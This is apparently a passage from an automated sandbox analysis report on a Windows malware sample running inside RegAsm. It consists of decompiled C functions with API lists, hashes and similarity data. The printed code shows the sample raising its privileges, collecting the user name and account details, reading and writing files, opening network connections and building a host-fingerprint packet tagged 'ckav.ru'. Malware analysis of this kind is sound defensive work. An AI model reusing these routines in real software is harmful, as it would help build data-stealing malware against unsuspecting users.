						_t31 =  !=  ? 1 : 0;
					}
					E00403C40(_v8);
					return _t31;
				}
				return _t14;
			}

0x00406512
0x00406514
0x00406522
0x00406524
0x00406530
0x00406534
0x0040653f
0x0040654e
0x00406552
0x0040655a
0x0040655f
0x0040656d
0x00406570
0x00406573
0x0040657a
0x00406589
0x0040658d
0x00406590
0x00406594
0x00000000
0x0040659a
0x004065a1

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?,00000009,C6C3ECBB,00000000,00000000,?,00000000,?,?,?,?,?,0040F9DC), ref: 0040654E
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000,00000009,C1642DF2,00000000,00000000,00000000,?,00000000), ref: 00406589

Strings

SeDebugPrivilege, xrefs: 00406548

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AdjustLookupPrivilegePrivilegesTokenValue
String ID: SeDebugPrivilege
API String ID: 3615134276-2896544425
Opcode ID: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction ID: 1578144bc241a5b33ff73db231d5495ab0f4fd5df9d31338026c5631bf24f4b3
Opcode Fuzzy Hash: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction Fuzzy Hash: A1117331A00219BAD710EEA79D4AEAF7ABCDBCA704F10006EB504F6181EE759B018674

Uniqueness

Uniqueness Score: -1.00%

Function 00402B7C, Relevance: 3.0, APIs: 2, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B7C(long _a4) {
				void* _t4;
				void* _t7;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t4;
				if(_t7 != 0) {
					E00402B4E(_t7, 0, _a4);
				}
				return _t7;
			}

0x00402b8c
0x00402b92
0x00402b96
0x00402b9e
0x00402ba3
0x00402baa

APIs

GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction ID: b98118a04cfb303fc975c2cf6dbcabe8739d57b69ee549b18d4bacd194132a09
Opcode Fuzzy Hash: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction Fuzzy Hash: 14D05E36A01A24B7CA212FD5AC09FCA7F2CEF48BE6F044031FB0CAA290D675D91047D9

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(WCHAR* _a4, DWORD* _a8) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 9, 0xd4449184, 0, 0);
				_t4 = GetUserNameW(_a4, _a8); // executed
				return _t4;
			}

0x00406077
0x00406082
0x00406085

APIs

GetUserNameW.ADVAPI32(?,?,00000009,D4449184,00000000,00000000,?,00406361,00000000,CA,00000000,00000000,00000104,00000000,00000032), ref: 00406082

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: a7da28448db3172b96443927ad348f68214272ffe937b716ad81b86c5e2c6b81
Instruction ID: cd86427636297e763c0a42ccb852711c5927781faf2e94d4e6bb5dc6023ef8f2
Opcode Fuzzy Hash: a7da28448db3172b96443927ad348f68214272ffe937b716ad81b86c5e2c6b81
Instruction Fuzzy Hash: 93C04C711842087BFE116ED1DC06F483E199B45B59F104011B71C2C0D1D9F3A6516559

Uniqueness

Uniqueness Score: -1.00%

Function 00404ED4, Relevance: 1.5, APIs: 1, Instructions: 9networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(00000000,00000000,00000FD0,00000000), ref: 00404EE2

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction ID: cd18cecc4e97c8ae47002f9e4185d290addc31a5a75b3629954b28b764c5713b
Opcode Fuzzy Hash: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction Fuzzy Hash: 6EC0483204020CFBCF025F81EC05BD93F2AFB48760F448020FA1818061C772A520AB88

Uniqueness

Uniqueness Score: -1.00%

Function 004061C3, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E004061C3(void* __eax, void* __ebx, void* __eflags) {
				WCHAR* _v8;
				long _v12;
				void** _v16;
				WCHAR* _v20;
				long _v24;
				long _v28;
				union _SID_NAME_USE _v32;
				intOrPtr* _t25;
				WCHAR* _t27;
				WCHAR* _t30;
				WCHAR* _t31;
				WCHAR* _t36;
				WCHAR* _t37;
				WCHAR* _t40;
				WCHAR* _t41;
				long _t44;
				intOrPtr* _t45;
				WCHAR* _t46;
				void* _t48;
				WCHAR* _t49;
				WCHAR* _t67;
				void* _t68;
				void* _t74;

				_t48 = __ebx;
				_t67 = 0;
				_v8 = 0;
				E00402BF2();
				_t68 = __eax;
				_t25 = E004031E5(__ebx, 9, 0xe87a9e93, 0, 0);
				_t2 =  &_v8; // 0x414449
				_push(1);
				_push(8);
				_push(_t68);
				if( *_t25() != 0) {
					L4:
					_t27 = E00402B7C(0x208);
					_v20 = _t27;
					__eflags = _t27;
					if(_t27 != 0) {
						E0040338C(_t27, _t67, 0x104);
						_t74 = _t74 + 0xc;
					}
					_push(_t48);
					_t49 = E00402B7C(0x208);
					__eflags = _t49;
					if(_t49 != 0) {
						E0040338C(_t49, _t67, 0x104);
						_t74 = _t74 + 0xc;
					}
					_v28 = 0x208;
					_v24 = 0x208;
					_t7 =  &_v8; // 0x414449
					_v12 = _t67;
					E004031E5(_t49, 9, 0xecae3497, _t67, _t67);
					_t30 = GetTokenInformation( *_t7, 1, _t67, _t67,  &_v12); // executed
					__eflags = _t30;
					if(_t30 == 0) {
						_t36 = E00402B7C(_v12);
						_v16 = _t36;
						__eflags = _t36;
						if(_t36 != 0) {
							_t14 =  &_v8; // 0x414449, executed
							_t37 = E00406086( *_t14, 1, _t36, _v12,  &_v12); // executed
							__eflags = _t37;
							if(_t37 != 0) {
								E004031E5(_t49, 9, 0xc0862e2b, _t67, _t67);
								_t40 = LookupAccountSidW(_t67,  *_v16, _v20,  &_v28, _t49,  &_v24,  &_v32); // executed
								__eflags = _t40;
								if(__eflags != 0) {
									_t41 = E00405B6F(__eflags, L"%s", _t49); // executed
									_t67 = _t41;
								}
							}
							E00402BAB(_v16);
						}
					}
					__eflags = _v8;
					if(_v8 != 0) {
						E00403C40(_v8); // executed
					}
					__eflags = _t49;
					if(_t49 != 0) {
						E00402BAB(_t49);
					}
					_t31 = _v20;
					__eflags = _t31;
					if(_t31 != 0) {
						E00402BAB(_t31);
					}
					return _t67;
				}
				_t44 = GetLastError();
				if(_t44 == 0x3f0) {
					E004060AC();
					_t45 = E004031E5(__ebx, 9, 0xea792a5f, 0, 0);
					_t3 =  &_v8; // 0x414449
					_t46 =  *_t45(_t44, 8, _t3);
					__eflags = _t46;
					if(_t46 == 0) {
						goto L2;
					}
					goto L4;
				}
				L2:
				return 0;
			}

0x004061c3
0x004061cb
0x004061cd
0x004061d0
0x004061de
0x004061e0
0x004061e5
0x004061e9
0x004061eb
0x004061ed
0x004061f2
0x0040622a
0x00406230
0x00406235
0x00406239
0x0040623b
0x00406244
0x00406249
0x00406249
0x0040624c
0x00406253
0x00406256
0x00406258
0x00406261
0x00406266
0x00406266
0x00406270
0x00406273
0x00406276
0x0040627b
0x0040627e
0x0040628c
0x0040628e
0x00406290
0x00406295
0x0040629a
0x0040629e
0x004062a0
0x004062ac
0x004062af
0x004062b7
0x004062b9
0x004062c9
0x004062e0
0x004062e2
0x004062e4
0x004062ec
0x004062f3
0x004062f3
0x004062e4
0x004062f8
0x004062fd
0x004062a0
0x004062fe
0x00406302
0x00406307
0x0040630c
0x0040630d
0x0040630f
0x00406312
0x00406317
0x00406318
0x0040631c
0x0040631e
0x00406321
0x00406326
0x00000000
0x00406327
0x004061f4
0x004061ff
0x00406208
0x00406218
0x0040621d
0x00406224
0x00406226
0x00406228
0x00000000
0x00000000
0x00000000
0x00406228
0x00406201
0x00000000

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00414449), ref: 004061F4
_wmemset.LIBCMT ref: 00406244
_wmemset.LIBCMT ref: 00406261
GetTokenInformation.KERNELBASE(IDA,00000001,00000000,00000000,?,00000009,ECAE3497,00000000,00000000,00000000), ref: 0040628C
LookupAccountSidW.ADVAPI32(00000000,?,?,?,00000000,?,?,00000009,C0862E2B,00000000,00000000), ref: 004062E0

Strings

IDA, xrefs: 004061E5, 00406276, 004062AC, 0040621D, 004061E8, 00406220, 0040628B
IDA, xrefs: 00406304

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _wmemset$AccountErrorInformationLastLookupToken
String ID: IDA$IDA
API String ID: 3235442692-2020647798
Opcode ID: 6a3663808dfaa6d95fd1668e0b1524eecee507b0f262261fb703967b84d3d722
Instruction ID: 96d4363135ba53d30ed73ccdf96fe48b30064626948d25b168d4296351bbaec2
Opcode Fuzzy Hash: 6a3663808dfaa6d95fd1668e0b1524eecee507b0f262261fb703967b84d3d722
Instruction Fuzzy Hash: 6641B372900206BAEB10AFE69C46EEF7B7CDF95714F11007FF901B61C1EE799A108668

Uniqueness

Uniqueness Score: -1.00%

Function 00404E17, Relevance: 7.6, APIs: 5, Instructions: 72
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00404E17(intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void _v40;
				void* _t23;
				signed int _t24;
				signed int* _t25;
				signed int _t30;
				signed int _t31;
				signed int _t33;
				signed int _t41;
				void* _t42;
				signed int* _t43;

				_v8 = _v8 & 0x00000000;
				_t33 = 8;
				memset( &_v40, 0, _t33 << 2);
				_v32 = 1;
				_t23 =  &_v40;
				_v28 = 6;
				_v36 = 2;
				__imp__getaddrinfo(_a4, _a8, _t23,  &_v8); // executed
				if(_t23 == 0) {
					_t24 = E00402B7C(4);
					_t43 = _t24;
					_t31 = _t30 | 0xffffffff;
					 *_t43 = _t31;
					_t41 = _v8;
					__imp__#23( *((intOrPtr*)(_t41 + 4)),  *((intOrPtr*)(_t41 + 8)),  *((intOrPtr*)(_t41 + 0xc)), _t42, _t30); // executed
					 *_t43 = _t24;
					if(_t24 != _t31) {
						__imp__#4(_t24,  *((intOrPtr*)(_t41 + 0x18)),  *((intOrPtr*)(_t41 + 0x10))); // executed
						if(_t24 == _t31) {
							E00404DE5(_t24,  *_t43);
							 *_t43 = _t31;
						}
						__imp__freeaddrinfo(_v8);
						if( *_t43 != _t31) {
							_t25 = _t43;
							goto L10;
						} else {
							E00402BAB(_t43);
							L8:
							_t25 = 0;
							L10:
							return _t25;
						}
					}
					E00402BAB(_t43);
					__imp__freeaddrinfo(_v8);
					goto L8;
				}
				return 0;
			}

0x00404e1d
0x00404e26
0x00404e2a
0x00404e2f
0x00404e37
0x00404e3a
0x00404e45
0x00404e4f
0x00404e57
0x00404e61
0x00404e66
0x00404e68
0x00404e6c
0x00404e6e
0x00404e7a
0x00404e80
0x00404e84
0x00404e9f
0x00404ea7
0x00404eab
0x00404eb1
0x00404eb1
0x00404eb6
0x00404ebe
0x00404ecb
0x00000000
0x00404ec0
0x00404ec1
0x00404ec7
0x00404ec7
0x00404ecd
0x00000000
0x00404ece
0x00404ebe
0x00404e87
0x00404e90
0x00000000
0x00404e90
0x00000000

APIs

getaddrinfo.WS2_32(00000000,00000001,?,00000000), ref: 00404E4F
socket.WS2_32(?,?,?), ref: 00404E7A
freeaddrinfo.WS2_32(00000000), ref: 00404E90

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: freeaddrinfogetaddrinfosocket
String ID:
API String ID: 2479546573-0
Opcode ID: 9c818cadf116e8ca79a2f09a86e0f8d7b5ee6602657faf0bd8bae176804bdd2a
Instruction ID: d63855dbb6a3d3c0c8ebf90f2bb9ce8455fd2b7eef63007fec5ba55d39dacf84
Opcode Fuzzy Hash: 9c818cadf116e8ca79a2f09a86e0f8d7b5ee6602657faf0bd8bae176804bdd2a
Instruction Fuzzy Hash: 9621BBB2500109FFCB106FA0ED49ADEBBB5FF88315F20453AF644B11A0C7399A919B98

Uniqueness

Uniqueness Score: -1.00%

Function 004040BB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E004040BB(void* __eflags, WCHAR* _a4, long* _a8, intOrPtr _a12) {
				struct _SECURITY_ATTRIBUTES* _v8;
				char _v12;
				long _v16;
				void* __ebx;
				void* __edi;
				void* _t16;
				intOrPtr* _t25;
				long* _t28;
				void* _t30;
				int _t32;
				intOrPtr* _t33;
				void* _t35;
				void* _t42;
				intOrPtr _t43;
				long _t44;
				struct _OVERLAPPED* _t46;

				_t46 = 0;
				_t35 = 0;
				E004031E5(0, 0, 0xe9fabb88, 0, 0);
				_t16 = CreateFileW(_a4, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_t42 = _t16;
				_v8 = _t42;
				if(_t42 == 0xffffffff) {
					__eflags = _a12;
					if(_a12 == 0) {
						L10:
						return _t35;
					}
					_t43 = E00403C90(_t42, L".tmp", 0, 0, 0x1a);
					__eflags = _t43;
					if(_t43 == 0) {
						goto L10;
					}
					_push(0);
					__eflags = E00403C59(_a4, _t43);
					if(__eflags != 0) {
						_v8 = 0;
						_t46 = E004040BB(__eflags, _t43,  &_v8, 0);
						_push(_t43);
						 *_a8 = _v8;
						E00403D44();
					}
					E00402BAB(_t43);
					return _t46;
				}
				_t25 = E004031E5(0, 0, 0xf9435d1e, 0, 0);
				_t44 =  *_t25(_t42,  &_v12);
				if(_v12 != 0 || _t44 > 0x40000000) {
					L8:
					_t45 = _v8;
					goto L9;
				} else {
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 = _t44;
					}
					E004031E5(_t35, _t46, 0xd4ead4e2, _t46, _t46);
					_t30 = VirtualAlloc(_t46, _t44, 0x1000, 4); // executed
					_t35 = _t30;
					if(_t35 == 0) {
						goto L8;
					} else {
						E004031E5(_t35, _t46, 0xcd0c9940, _t46, _t46);
						_t45 = _v8;
						_t32 = ReadFile(_v8, _t35, _t44,  &_v16, _t46); // executed
						if(_t32 == 0) {
							_t33 = E004031E5(_t35, _t46, 0xf53ecacb, _t46, _t46);
							 *_t33(_t35, _t46, 0x8000);
							_t35 = _t46;
						}
						L9:
						E00403C40(_t45); // executed
						goto L10;
					}
				}
			}

0x004040c4
0x004040ce
0x004040d0
0x004040e8
0x004040ea
0x004040ec
0x004040f2
0x0040418d
0x00404190
0x00404184
0x00000000
0x00404184
0x004041a0
0x004041a5
0x004041a7
0x00000000
0x00000000
0x004041a9
0x004041b6
0x004041b8
0x004041be
0x004041cb
0x004041d0
0x004041d1
0x004041d3
0x004041d8
0x004041dc
0x00000000
0x004041e2
0x00404100
0x0040410c
0x00404111
0x0040417a
0x0040417a
0x00000000
0x0040411b
0x0040411b
0x00404120
0x00404122
0x00404122
0x0040412c
0x0040413a
0x0040413c
0x00404140
0x00000000
0x00404142
0x0040414a
0x00404155
0x0040415a
0x0040415e
0x00404168
0x00404174
0x00404176
0x00404176
0x0040417d
0x0040417e
0x00000000
0x00404183
0x00404140

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,00000000), ref: 004040E8
VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000004,00000000,D4EAD4E2,00000000,00000000), ref: 0040413A
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,CD0C9940,00000000,00000000), ref: 0040415A

Strings

.tmp, xrefs: 00404196

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$AllocCreateReadVirtual
String ID: .tmp
API String ID: 3585551309-2986845003
Opcode ID: 9631e6f5e9699617cd127c849230d2104622380ed218987cebf5414177a879fc
Instruction ID: b436c3373f33a6751ef3154d9799880e4ac32c23f8ae8b62b11f674aa4b57f97
Opcode Fuzzy Hash: 9631e6f5e9699617cd127c849230d2104622380ed218987cebf5414177a879fc
Instruction Fuzzy Hash: 2C31F87150112477D721AE664C49FDF7E6CDFD67A4F10003AFA08BA2C1DA799B41C2E9

Uniqueness

Uniqueness Score: -1.00%

Function 00413866, Relevance: 4.6, APIs: 3, Instructions: 147
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00413866(void* __eflags) {
				short _v6;
				short _v8;
				short _v10;
				short _v12;
				short _v14;
				short _v16;
				short _v18;
				short _v20;
				short _v22;
				char _v24;
				short _v28;
				short _v30;
				short _v32;
				short _v34;
				short _v36;
				short _v38;
				short _v40;
				short _v42;
				short _v44;
				short _v46;
				char _v48;
				short _v52;
				short _v54;
				short _v56;
				short _v58;
				short _v60;
				short _v62;
				short _v64;
				short _v66;
				short _v68;
				short _v70;
				short _v72;
				short _v74;
				char _v76;
				void* __ebx;
				void* __edi;
				void* _t38;
				short _t43;
				short _t44;
				short _t45;
				short _t46;
				short _t47;
				short _t48;
				short _t50;
				short _t51;
				short _t52;
				short _t54;
				short _t55;
				intOrPtr* _t57;
				intOrPtr* _t59;
				intOrPtr* _t61;
				void* _t63;
				WCHAR* _t65;
				long _t68;
				void* _t75;
				short _t76;
				short _t78;
				short _t83;
				short _t84;
				short _t85;

				E00402C6C(_t38);
				E004031E5(_t75, 0, 0xd1e96fcd, 0, 0);
				SetErrorMode(3); // executed
				_t43 = 0x4f;
				_v76 = _t43;
				_t44 = 0x4c;
				_v74 = _t44;
				_t45 = 0x45;
				_v72 = _t45;
				_t46 = 0x41;
				_v70 = _t46;
				_t47 = 0x55;
				_v68 = _t47;
				_t48 = 0x54;
				_t76 = 0x33;
				_t84 = 0x32;
				_t83 = 0x2e;
				_t78 = 0x64;
				_t85 = 0x6c;
				_v66 = _t48;
				_v52 = 0;
				_t50 = 0x77;
				_v48 = _t50;
				_t51 = 0x73;
				_v46 = _t51;
				_t52 = 0x5f;
				_v42 = _t52;
				_v28 = 0;
				_t54 = 0x6f;
				_v24 = _t54;
				_t55 = 0x65;
				_v20 = _t55;
				_v64 = _t76;
				_v62 = _t84;
				_v60 = _t83;
				_v58 = _t78;
				_v56 = _t85;
				_v54 = _t85;
				_v44 = _t84;
				_v40 = _t76;
				_v38 = _t84;
				_v36 = _t83;
				_v34 = _t78;
				_v32 = _t85;
				_v30 = _t85;
				_v22 = _t85;
				_v18 = _t76;
				_v16 = _t84;
				_v14 = _t83;
				_v12 = _t78;
				_v10 = _t85;
				_v8 = _t85;
				_v6 = 0;
				_t57 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				 *_t57( &_v76);
				_t59 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				 *_t59( &_v48);
				_t61 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				_t81 =  &_v24;
				 *_t61( &_v24); // executed
				_t63 = E00414059(); // executed
				if(_t63 != 0) {
					_t65 = E00413D97(0);
					E004031E5(0, 0, 0xcf167df4, 0, 0);
					CreateMutexW(0, 1, _t65); // executed
					_t68 = GetLastError();
					_t92 = _t68 - 0xb7;
					if(_t68 == 0xb7) {
						E00413B81(0);
						_pop(_t81); // executed
					}
					E00413003(_t92); // executed
					E00412B2E(_t92); // executed
					E00412D31(_t81, _t84); // executed
					E00413B3F();
					E00413B81(0);
					 *0x49fdd0 = 1;
				}
				return 0;
			}

0x0041386f
0x0041387e
0x00413885
0x00413889
0x0041388c
0x00413890
0x00413893
0x00413897
0x0041389a
0x0041389e
0x004138a1
0x004138a5
0x004138a8
0x004138ac
0x004138af
0x004138b2
0x004138b5
0x004138b8
0x004138bb
0x004138bc
0x004138c4
0x004138c8
0x004138cb
0x004138cf
0x004138d2
0x004138d6
0x004138d7
0x004138df
0x004138e3
0x004138e4
0x004138ea
0x004138eb
0x004138f1
0x004138f5
0x004138f9
0x004138fd
0x00413901
0x00413905
0x00413909
0x0041390d
0x00413911
0x00413915
0x00413919
0x0041391d
0x00413921
0x00413925
0x00413929
0x0041392d
0x00413931
0x00413935
0x00413939
0x0041393d
0x00413941
0x00413950
0x00413959
0x0041395f
0x00413968
0x0041396e
0x00413973
0x00413977
0x00413979
0x00413980
0x00413982
0x00413991
0x0041399c
0x0041399e
0x004139a4
0x004139a9
0x004139ac
0x004139b1
0x004139b1
0x004139b2
0x004139b7
0x004139bc
0x004139c1
0x004139c7
0x004139cd
0x004139cd
0x004139db

APIs

SetErrorMode.KERNEL32(00000003,00000000,D1E96FCD,00000000,00000000,00000000,00000000), ref: 00413885
CreateMutexW.KERNEL32(00000000,00000001,00000000,00000000,CF167DF4,00000000,00000000), ref: 0041399C
GetLastError.KERNEL32 ref: 0041399E

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Error$CreateLastModeMutex
String ID:
API String ID: 3448925889-0
Opcode ID: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction ID: 7738172b6d33d5602fc402945caed90a0cea100ae195543e4e9fee3f6653e559
Opcode Fuzzy Hash: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction Fuzzy Hash: 11415E61964348A8EB10ABF1AC82EFFA738EF54755F10641FF504F7291E6794A80836E

Uniqueness

Uniqueness Score: -1.00%

Function 004042CF, Relevance: 4.6, APIs: 3, Instructions: 60
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004042CF(void* __ebx, void* __eflags, WCHAR* _a4, void* _a8, long _a12) {
				long _v8;
				void* _t7;
				long _t10;
				void* _t21;
				struct _OVERLAPPED* _t24;

				_t14 = __ebx;
				_t24 = 0;
				_v8 = 0;
				E004031E5(__ebx, 0, 0xe9fabb88, 0, 0);
				_t7 = CreateFileW(_a4, 0xc0000000, 0, 0, 4, 0x80, 0); // executed
				_t21 = _t7;
				if(_t21 != 0xffffffff) {
					E004031E5(__ebx, 0, 0xeebaae5b, 0, 0);
					_t10 = SetFilePointer(_t21, 0, 0, 2); // executed
					if(_t10 != 0xffffffff) {
						E004031E5(_t14, 0, 0xc148f916, 0, 0);
						WriteFile(_t21, _a8, _a12,  &_v8, 0); // executed
						_t24 =  !=  ? 1 : 0;
					}
					E00403C40(_t21); // executed
				}
				return _t24;
			}

0x004042cf
0x004042d5
0x004042df
0x004042e2
0x004042f9
0x004042fb
0x00404300
0x0040430a
0x00404314
0x00404319
0x00404323
0x00404334
0x0040433b
0x0040433b
0x0040433f
0x00404344
0x0040434c

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000004,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,?,?,004146E2), ref: 004042F9
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,00000000,EEBAAE5B,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00404314
WriteFile.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,C148F916,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000), ref: 00404334

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$CreatePointerWrite
String ID:
API String ID: 3672724799-0
Opcode ID: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction ID: 60e70a0f6cedc7b52d1efda55ce7422740d02a59a4e71dca7f773cbcdc95941a
Opcode Fuzzy Hash: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction Fuzzy Hash: 2F014F315021343AD6356A679C0EEEF6D5DDF8B6B5F10422AFA18B60D0EA755B0181F8

Uniqueness

Uniqueness Score: -1.00%

Function 00412D31, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 178
threadCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E00412D31(void* __ecx, void* __edi) {
				long _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				char _v40;
				void* __ebx;
				intOrPtr* _t10;
				void* _t11;
				void* _t25;
				void* _t26;
				void* _t27;
				void* _t31;
				void* _t33;
				void* _t35;
				void* _t53;
				char* _t57;
				void* _t58;
				void* _t61;
				void* _t64;
				void* _t65;
				intOrPtr* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				void* _t73;

				_t53 = __ecx;
				_t10 =  *0x49fde0;
				_t68 = _t67 - 0x24;
				 *0x49fddc = 0x927c0;
				 *0x49fde4 = 0;
				_t75 = _t10;
				if(_t10 != 0) {
					L16:
					_push(1);
					_t11 = E004141A7(_t80,  *_t10,  *((intOrPtr*)(_t10 + 8))); // executed
					_t61 = _t11;
					_t68 = _t68 + 0xc;
					if(_t61 != 0) {
						E004031E5(0, 0, 0xfcae4162, 0, 0);
						CreateThread(0, 0, E0041289A, _t61, 0,  &_v8); // executed
					}
					L004067C4(0xea60); // executed
					_pop(_t53);
				} else {
					_push(__edi);
					 *0x49fde0 = E004056BF(0x2bc);
					E00413DB7(_t53, _t75,  &_v40);
					_t57 =  &_v24;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					E004058D4( *0x49fde0, 0x12);
					E004058D4( *0x49fde0, 0x28);
					E00405872( *0x49fde0, "ckav.ru", 0, 0);
					_t69 = _t68 + 0x28;
					_t64 = E0040632F();
					_push(0);
					_push(1);
					if(_t64 == 0) {
						_push(0);
						_push( *0x49fde0);
						E00405872();
						_t70 = _t69 + 0x10;
					} else {
						_push(_t64);
						_push( *0x49fde0);
						E00405872();
						E00402BAB(_t64);
						_t70 = _t69 + 0x14;
					}
					_t58 = E00406130(_t57);
					_push(0);
					_push(1);
					_t77 = _t64;
					if(_t64 == 0) {
						_push(0);
						_push( *0x49fde0);
						_t25 = E00405872();
						_t71 = _t70 + 0x10; // executed
					} else {
						_push(_t58);
						_push( *0x49fde0);
						E00405872();
						_t25 = E00402BAB(_t58);
						_t71 = _t70 + 0x14;
					}
					_t26 = E004061C3(_t25, 0, _t77); // executed
					_t65 = _t26;
					_push(0);
					_push(1);
					if(_t65 == 0) {
						_push(0);
						_push( *0x49fde0);
						_t27 = E00405872();
						_t72 = _t71 + 0x10;
					} else {
						_push(_t65);
						_push( *0x49fde0);
						E00405872();
						_t27 = E00402BAB(_t65);
						_t72 = _t71 + 0x14;
					}
					_t66 = E00406189(_t27);
					_t79 = _t66;
					if(_t66 == 0) {
						E00405781( *0x49fde0, 0);
						E00405781( *0x49fde0, 0);
						_t73 = _t72 + 0x10; // executed
					} else {
						E00405781( *0x49fde0,  *_t66);
						E00405781( *0x49fde0,  *((intOrPtr*)(_t66 + 4)));
						E00402BAB(_t66);
						_t73 = _t72 + 0x14;
					}
					_t31 = E004063B2(0, _t53, _t79); // executed
					E004058D4( *0x49fde0, _t31); // executed
					_t33 = E004060BD(_t79); // executed
					E004058D4( *0x49fde0, _t33); // executed
					_t35 = E0040642C(_t79); // executed
					E004058D4( *0x49fde0, _t35);
					E004058D4( *0x49fde0, _v24);
					E004058D4( *0x49fde0, _v20);
					E004058D4( *0x49fde0, _v16);
					E004058D4( *0x49fde0, _v12);
					E00405872( *0x49fde0, E00413D97(0), 1, 0);
					_t68 = _t73 + 0x48;
				}
				_t80 =  *0x49fde4;
				if( *0x49fde4 == 0) {
					_t10 =  *0x49fde0;
					goto L16;
				}
